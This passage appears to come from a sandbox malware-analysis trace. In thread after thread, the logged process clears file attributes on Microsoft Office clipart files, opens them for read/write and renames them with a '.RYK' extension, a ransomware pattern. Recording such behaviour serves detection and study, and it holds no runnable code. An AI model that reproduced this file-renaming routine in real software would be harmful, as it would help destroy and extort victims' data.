	[0210.647] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP", dwFileAttributes=0x80) returned 0
	[0210.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0211.037] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0211.038] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2001
	os_tid = 0x2508

	[0211.133] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF", dwFileAttributes=0x80) returned 0
	[0211.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0211.834] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0211.834] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2002
	os_tid = 0x250c

	[0211.134] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF", dwFileAttributes=0x80) returned 0
	[0211.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0211.832] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0211.832] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2003
	os_tid = 0x2510

	[0211.136] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF", dwFileAttributes=0x80) returned 0
	[0211.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0211.136] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0211.136] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2004
	os_tid = 0x2514

	[0211.139] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF", dwFileAttributes=0x80) returned 0
	[0211.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0211.830] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0211.830] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2005
	os_tid = 0x2518

	[0211.140] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF", dwFileAttributes=0x80) returned 0
	[0211.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0211.828] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0211.829] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2006
	os_tid = 0x251c

	[0211.141] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF", dwFileAttributes=0x80) returned 0
	[0211.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0211.142] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0211.142] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2007
	os_tid = 0x2520

	[0211.144] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF", dwFileAttributes=0x80) returned 0
	[0211.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0211.144] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0211.144] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2008
	os_tid = 0x2524

	[0211.146] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF", dwFileAttributes=0x80) returned 0
	[0211.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0211.827] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0211.827] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2009
	os_tid = 0x2528

	[0211.147] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF", dwFileAttributes=0x80) returned 0
	[0211.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0211.825] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0211.825] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2010
	os_tid = 0x252c

	[0211.149] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF", dwFileAttributes=0x80) returned 0
	[0211.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0211.460] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0211.460] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2011
	os_tid = 0x2530

	[0211.462] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF", dwFileAttributes=0x80) returned 0
	[0211.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0211.462] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0211.462] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2023
	os_tid = 0x2564

	[0211.464] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF", dwFileAttributes=0x80) returned 0
	[0211.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0212.095] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0212.095] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2024
	os_tid = 0x2568

	[0211.465] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF", dwFileAttributes=0x80) returned 0
	[0211.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105234.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0212.093] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0212.093] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105234.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105234.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2025
	os_tid = 0x256c

	[0211.466] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF", dwFileAttributes=0x80) returned 0
	[0211.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0212.092] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0212.092] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2026
	os_tid = 0x2570

	[0211.468] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF", dwFileAttributes=0x80) returned 0
	[0211.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0212.090] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0212.090] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2027
	os_tid = 0x2574

	[0211.469] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF", dwFileAttributes=0x80) returned 0
	[0211.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0212.089] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0212.089] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2028
	os_tid = 0x2578

	[0211.471] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF", dwFileAttributes=0x80) returned 0
	[0211.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0212.087] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0212.087] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2029
	os_tid = 0x257c

	[0211.472] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF", dwFileAttributes=0x80) returned 0
	[0211.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0212.085] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0212.086] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2030
	os_tid = 0x2580

	[0211.476] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF", dwFileAttributes=0x80) returned 0
	[0211.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0212.084] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0212.084] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2031
	os_tid = 0x2584

	[0211.477] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF", dwFileAttributes=0x80) returned 0
	[0211.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0212.082] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0212.082] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2032
	os_tid = 0x2588

	[0211.478] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF", dwFileAttributes=0x80) returned 0
	[0211.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0211.841] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0211.841] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2033
	os_tid = 0x258c

	[0211.843] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF", dwFileAttributes=0x80) returned 0
	[0212.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0212.480] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0212.480] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2047
	os_tid = 0x25d0

	[0211.844] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF", dwFileAttributes=0x80) returned 0
	[0212.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0212.478] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0212.478] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2048
	os_tid = 0x25d4

	[0211.845] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF", dwFileAttributes=0x80) returned 0
	[0212.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0212.476] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0212.477] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2049
	os_tid = 0x25d8

	[0211.847] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF", dwFileAttributes=0x80) returned 0
	[0211.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0211.847] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0211.848] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2050
	os_tid = 0x25dc

